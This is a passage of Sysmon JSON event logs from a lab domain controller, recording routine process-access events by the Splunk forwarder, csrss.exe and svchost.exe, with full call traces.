Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6629,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.854\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-423C-5F2D-0000-001078800900}\r\nTargetProcessId: 3140\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.854","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-423C-5F2D-0000-001078800900}","TargetProcessId":"3140","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6630,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-423C-5F2D-0000-001078800900}\r\nTargetProcessId: 3140\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-423C-5F2D-0000-001078800900}","TargetProcessId":"3140","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6631,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6632,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6633,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6634,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6635,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6636,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 